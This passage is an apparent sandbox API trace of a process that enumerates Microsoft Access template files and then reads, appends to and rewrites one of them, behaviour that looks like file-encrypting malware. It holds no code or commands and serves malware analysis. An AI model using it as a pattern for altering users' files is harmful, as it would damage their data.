lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5644, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="1TOP~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="2RIGHT~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="2TOP~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="COMMEN~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x388e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="DETAIL~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="DIALOG~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="LIST~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="MEDIA~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="MSGBOX~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x550d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="TABS~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1 [0262.627] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 1 [0262.628] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.628] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0262.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb5c0) returned 1 [0262.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb580) returned 1 [0262.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb680) returned 1 [0262.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part", nBufferLength=0x105, lpBuffer=0x200eb120, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part", lpFilePart=0x0) returned 0x41 [0262.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x200eb3a0 | out: lpFindFileData=0x200eb3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0262.628] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.628] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5707, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0262.629] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5644, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="1TOP~1.ACC")) returned 1 [0262.629] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="2RIGHT~1.ACC")) returned 1 [0262.629] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="2TOP~1.ACC")) returned 1 [0262.629] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="COMMEN~1.ACC")) returned 1 [0262.629] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x388e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1 [0262.629] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="DETAIL~1.ACC")) returned 1 [0262.630] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="DIALOG~1.ACC")) returned 1 [0262.630] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1 [0262.630] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="LIST~1.ACC")) returned 1 [0262.630] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x482a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media.accdt", cAlternateFileName="MEDIA~1.ACC")) returned 1 [0262.630] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Msgbox.accdt", cAlternateFileName="MSGBOX~1.ACC")) returned 1 [0262.630] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x550d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tabs.accdt", cAlternateFileName="TABS~1.ACC")) returned 1 [0262.631] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9cfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1 [0262.631] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 1 [0262.631] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 0 [0262.631] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0262.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb5c0) returned 1 [0262.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb580) returned 1 [0262.631] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", lpFilePart=0x0) returned 0x4f [0262.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0262.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3bbfcf8 | out: lpFileInformation=0x3bbfcf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5707)) returned 1 [0262.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0262.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", lpFilePart=0x0) returned 0x4f [0262.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0262.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0262.643] GetFileType (hFile=0x85c) returned 0x1 [0262.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0262.643] GetFileType (hFile=0x85c) returned 0x1 [0262.643] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0262.643] ReadFile (in: hFile=0x85c, lpBuffer=0x3bc0130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3bc0130*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0262.648] CloseHandle (hObject=0x85c) returned 1 [0262.648] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", lpFilePart=0x0) returned 0x4f [0262.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0262.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0262.649] GetFileType (hFile=0x85c) returned 0x1 [0262.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0262.649] GetFileType (hFile=0x85c) returned 0x1 [0262.649] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x5707 [0262.649] WriteFile (in: hFile=0x85c, lpBuffer=0x3bc9ff0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3bc9ff0*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0262.859] CloseHandle (hObject=0x85c) returned 1 [0262.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", lpFilePart=0x0) returned 0x4f [0262.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0262.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0262.894] GetFileType (hFile=0x85c) returned 0x1 [0262.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0262.894] GetFileType (hFile=0x85c) returned 0x1 [0262.894] ReadFile (in: hFile=0x85c, lpBuffer=0x39cb858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x39cb858*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0262.922] CloseHandle (hObject=0x85c) returned 1 [0262.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt", lpFilePart=0x0) returned 0x4f [0262.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0262.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\1 right.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0262.923] GetFileType (hFile=0x85c) returned 0x1 [0262.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0262.923] GetFileType (hFile=0x85c) returned 0x1 [0262.923] WriteFile (in: hFile=0x85c, lpBuffer=0x39ca5a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x39ca5a0*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0262.923] CloseHandle (hObject=0x85c) returned 1 [0262.923] GetFullPathNameW (in: 